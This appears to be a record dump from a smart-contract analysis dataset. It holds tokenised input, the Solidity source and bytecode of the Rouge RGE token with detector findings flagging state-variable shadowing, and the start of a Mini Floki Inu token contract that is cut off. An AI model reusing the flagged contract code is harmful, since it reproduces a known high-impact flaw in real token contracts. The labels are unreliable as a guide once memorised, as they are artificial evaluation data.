[ 101, 1014, 2595, 2683, 2575, 9468, 2581, 28756, 26224, 2063, 2620, 21057, 2278, 2487, 2094, 24096, 2683, 2063, 27814, 2692, 2050, 21926, 2509, 2278, 26976, 2546, 16576, 2575, 2050, 18139, 14526, 2509, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2324, 1025, 3075, 3647, 18900, 2232, 1063, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1008, 1038, 1025, 20865, 1006, 1037, 1027, 1027, 1014, 1064, 1064, 1039, 1013, 1037, 1027, 1027, 1038, 1007, 1025, 2709, 1039, 1025, 1065, 3853, 4487, 2615, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,446
0x96cd136f1afb1f8934e6cb6495eaf24140f70325
contract EIP20Interface { /* This is a slight change to the ERC20 base standard. function totalSupply() constant returns (uint256 supply); is replaced with: uint256 public totalSupply; This automatically creates a getter function for the totalSupply. This is moved to the base contract since public getter functions are not currently recognised as an implementation of the matching abstract function by the compiler. */ /// total amount of tokens uint256 public totalSupply; /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) public view returns (uint256 balance); /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) public returns (bool success); /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); /// @notice `msg.sender` approves `_spender` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of tokens to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) public returns (bool success); /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) public view returns (uint256 remaining); // solhint-disable-next-line no-simple-event-func-name event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract EIP20 is EIP20Interface { uint256 constant private MAX_UINT256 = 2**256 - 1; mapping (address => uint256) public balances; mapping (address => mapping (address => uint256)) public allowed; /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. string public symbol; //An identifier: eg SBX function EIP20( uint256 _initialAmount, string _tokenName, uint8 _decimalUnits, string _tokenSymbol ) public { balances[msg.sender] = _initialAmount; // Give the creator all initial tokens totalSupply = _initialAmount; // Update total supply name = _tokenName; // Set the name for display purposes decimals = _decimalUnits; // Amount of decimals for display purposes symbol = _tokenSymbol; // Set the symbol for display purposes } function transfer(address _to, uint256 _value) public returns (bool success) { require(balances[msg.sender] >= _value); balances[msg.sender] -= _value; balances[_to] += _value; emit Transfer(msg.sender, _to, _value); //solhint-disable-line indent, no-unused-vars return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { uint256 allowance = allowed[_from][msg.sender]; require(balances[_from] >= _value && allowance >= _value); balances[_to] += _value; balances[_from] -= _value; if (allowance < MAX_UINT256) { allowed[_from][msg.sender] -= _value; } emit Transfer(_from, _to, _value); //solhint-disable-line indent, no-unused-vars return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); //solhint-disable-line indent, no-unused-vars return true; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract RGEToken is EIP20 { /* ERC20 */ string public name = 'Rouge'; string public symbol = 'RGE'; uint8 public decimals = 6; /* RGEToken */ address owner; address public crowdsale; uint public endTGE; string public version = 'v1'; uint256 public totalSupply = 1000000000 * 10**uint(decimals); uint256 public reserveY1 = 300000000 * 10**uint(decimals); uint256 public reserveY2 = 200000000 * 10**uint(decimals); modifier onlyBy(address _address) { require(msg.sender == _address); _; } constructor(uint _endTGE) EIP20 (totalSupply, name, decimals, symbol) public { owner = msg.sender; endTGE = _endTGE; crowdsale = address(0); balances[owner] = 0; balances[crowdsale] = totalSupply; } function startCrowdsaleY0(address _crowdsale) onlyBy(owner) public { require(_crowdsale != address(0)); require(crowdsale == address(0)); require(now < endTGE); crowdsale = _crowdsale; balances[crowdsale] = totalSupply - reserveY1 - reserveY2; balances[address(0)] -= balances[crowdsale]; emit Transfer(address(0), crowdsale, balances[crowdsale]); } function startCrowdsaleY1(address _crowdsale) onlyBy(owner) public { require(_crowdsale != address(0)); require(crowdsale == address(0)); require(reserveY1 > 0); require(now >= endTGE + 31536000); /* Y+1 crowdsale can only start after a year */ crowdsale = _crowdsale; balances[crowdsale] = reserveY1; balances[address(0)] -= reserveY1; emit Transfer(address(0), crowdsale, reserveY1); reserveY1 = 0; } function startCrowdsaleY2(address _crowdsale) onlyBy(owner) public { require(_crowdsale != address(0)); require(crowdsale == address(0)); require(reserveY2 > 0); require(now >= endTGE + 63072000); /* Y+2 crowdsale can only start after 2 years */ crowdsale = _crowdsale; balances[crowdsale] = reserveY2; balances[address(0)] -= reserveY2; emit Transfer(address(0), crowdsale, reserveY2); reserveY2 = 0; } // in practice later than end of TGE to let people withdraw function endCrowdsale() onlyBy(owner) public { require(crowdsale != address(0)); require(now > endTGE); reserveY2 += balances[crowdsale]; emit Transfer(crowdsale, address(0), balances[crowdsale]); balances[address(0)] += balances[crowdsale]; balances[crowdsale] = 0; crowdsale = address(0); } /* coupon campaign factory */ address public factory; function setFactory(address _factory) onlyBy(owner) public { factory = _factory; } function newCampaign(uint32 _issuance, uint256 _value) public { transfer(factory,_value); require(factory.call(bytes4(keccak256("createCampaign(address,uint32,uint256)")),msg.sender,_issuance,_value)); } event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public returns (bool success) { require(_value > 0); require(balances[msg.sender] >= _value); balances[msg.sender] -= _value; totalSupply -= _value; emit Transfer(msg.sender, address(0), _value); emit Burn(msg.sender, _value); return true; } }
0x60806040526004361061013e576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610143578063095ea7b3146101d357806318160ddd146102385780632095f2d41461026357806323b872dd1461027a57806327e235e3146102ff578063313ce5671461035657806342966c681461038757806354b48428146103cc57806354fd4d50146103f75780635bb47808146104875780635c658165146104ca57806370a082311461054157806391d558b71461059857806392afac6d146105db57806395d89b41146106065780639c1e03a014610696578063a9059cbb146106ed578063bdb084b214610752578063c45a015514610795578063dd62ed3e146107ec578063e2aa99ab14610863578063e81d6c6f146108a6578063fb850fab146108d1575b600080fd5b34801561014f57600080fd5b5061015861090e565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561019857808201518184015260208101905061017d565b50505050905090810190601f1680156101c55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101df57600080fd5b5061021e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109ac565b604051808215151515815260200191505060405180910390f35b34801561024457600080fd5b5061024d610a9e565b6040518082815260200191505060405180910390f35b34801561026f57600080fd5b50610278610aa4565b005b34801561028657600080fd5b506102e5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e23565b604051808215151515815260200191505060405180910390f35b34801561030b57600080fd5b50610340600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110bd565b6040518082815260200191505060405180910390f35b34801561036257600080fd5b5061036b6110d5565b604051808260ff1660ff16815260200191505060405180910390f35b34801561039357600080fd5b506103b2600480360381019080803590602001909291905050506110e8565b604051808215151515815260200191505060405180910390f35b3480156103d857600080fd5b506103e1611260565b6040518082815260200191505060405180910390f35b34801561040357600080fd5b5061040c611266565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561044c578082015181840152602081019050610431565b50505050905090810190601f1680156104795780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561049357600080fd5b506104c8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611304565b005b3480156104d657600080fd5b5061052b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506113a6565b6040518082815260200191505060405180910390f35b34801561054d57600080fd5b50610582600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506113cb565b6040518082815260200191505060405180910390f35b3480156105a457600080fd5b506105d9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611414565b005b3480156105e757600080fd5b506105f0611766565b6040518082815260200191505060405180910390f35b34801561061257600080fd5b5061061b61176c565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561065b578082015181840152602081019050610640565b50505050905090810190601f1680156106885780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156106a257600080fd5b506106ab61180a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106f957600080fd5b50610738600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611830565b604051808215151515815260200191505060405180910390f35b34801561075e57600080fd5b50610793600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611989565b005b3480156107a157600080fd5b506107aa611c35565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156107f857600080fd5b5061084d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c5b565b6040518082815260200191505060405180910390f35b34801561086f57600080fd5b506108a4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611ce2565b005b3480156108b257600080fd5b506108bb611f8e565b6040518082815260200191505060405180910390f35b3480156108dd57600080fd5b5061090c600480360381019080803563ffffffff16906020019092919080359060200190929190505050611f94565b005b60068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109a45780601f10610979576101008083540402835291602001916109a4565b820191906000526020600020905b81548152906001019060200180831161098757829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b600c5481565b600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff168073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b0157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151515610b5f57600080fd5b600a5442111515610b6f57600080fd5b60016000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600e60008282540192505081905550600073ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60016000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a360016000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600160008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550600060016000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610ef45750828110155b1515610eff57600080fd5b82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555082600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81101561104c5782600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b60016020528060005260406000206000915090505481565b600860009054906101000a900460ff1681565b600080821115156110f857600080fd5b81600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561114657600080fd5b81600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600c60008282540392505081905550600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a33373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a260019050919050565b600a5481565b600b8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156112fc5780601f106112d1576101008083540402835291602001916112fc565b820191906000526020600020905b8154815290600101906020018083116112df57829003601f168201915b505050505081565b600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff168073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561136157600080fd5b81600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b6002602052816000526040600020602052806000526040600020600091509150505481565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff168073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561147157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141515156114ad57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561150a57600080fd5b600a544210151561151a57600080fd5b81600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e54600d54600c54030360016000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060016000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600160008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60016000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a35050565b600d5481565b60078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156118025780601f106117d757610100808354040283529160200191611802565b820191906000526020600020905b8154815290600101906020018083116117e557829003601f168201915b505050505081565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561188057600080fd5b81600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff168073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156119e657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515611a2257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515611a7f57600080fd5b6000600d54111515611a9057600080fd5b6301e13380600a54014210151515611aa757600080fd5b81600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d5460016000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d54600160008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600d546040518082815260200191505060405180910390a36000600d819055505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff168073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611d3f57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515611d7b57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515611dd857600080fd5b6000600e54111515611de957600080fd5b6303c26700600a54014210151515611e0057600080fd5b81600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e5460016000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600e54600160008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600e546040518082815260200191505060405180910390a36000600e819055505050565b600e5481565b611fc0600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682611830565b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660405180807f63726561746543616d706169676e28616464726573732c75696e7433322c756981526020017f6e74323536290000000000000000000000000000000000000000000000000000815250602601905060405180910390207c010000000000000000000000000000000000000000000000000000000090043384846040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018363ffffffff1663ffffffff16815260200182815260200193505050506000604051808303816000875af192505050151561211457600080fd5b50505600a165627a7a723058209a573389f353c89397d9a9f97afc4aff07ab005592701208fb115a8938e7dce50029
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "shadowing-state", "impact": "High", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'shadowing-abstract', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'shadowing-state', 'impact': 'High', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2575, 19797, 17134, 2575, 2546, 2487, 10354, 2497, 2487, 2546, 2620, 2683, 22022, 2063, 2575, 27421, 21084, 2683, 2629, 5243, 2546, 18827, 16932, 2692, 2546, 19841, 16703, 2629, 3206, 1041, 11514, 11387, 18447, 2121, 12172, 1063, 1013, 1008, 2023, 2003, 1037, 7263, 2689, 2000, 1996, 9413, 2278, 11387, 2918, 3115, 1012, 3853, 21948, 6279, 22086, 1006, 1007, 5377, 5651, 1006, 21318, 3372, 17788, 2575, 4425, 1007, 1025, 2003, 2999, 2007, 1024, 21318, 3372, 17788, 2575, 2270, 21948, 6279, 22086, 1025, 2023, 8073, 9005, 1037, 2131, 3334, 3853, 2005, 1996, 21948, 6279, 22086, 1012, 2023, 2003, 2333, 2000, 1996, 2918, 3206, 2144, 2270, 2131, 3334, 4972, 2024, 2025, 2747, 7843, 2004, 2019, 7375, 1997, 1996, 9844, 10061, 3853, 2011, 1996, 21624, 1012, 1008, 1013, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,447
0x96cef45f39e171b5a3b94098474619d8f8383b11
// Mini Floki Inu //CMC and CG application //Liqudity Locked //TG: https://t.me/MiniFlokiInu //Website: MiniFlokiInu.com //CG, CMC listing: Ongoing // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract MiniFlokiInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Mini Floki Inu | t.me/Miniflokiinu"; string private constant _symbol = "MFI"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000* 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 15; uint256 private _teamFee = 1; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); 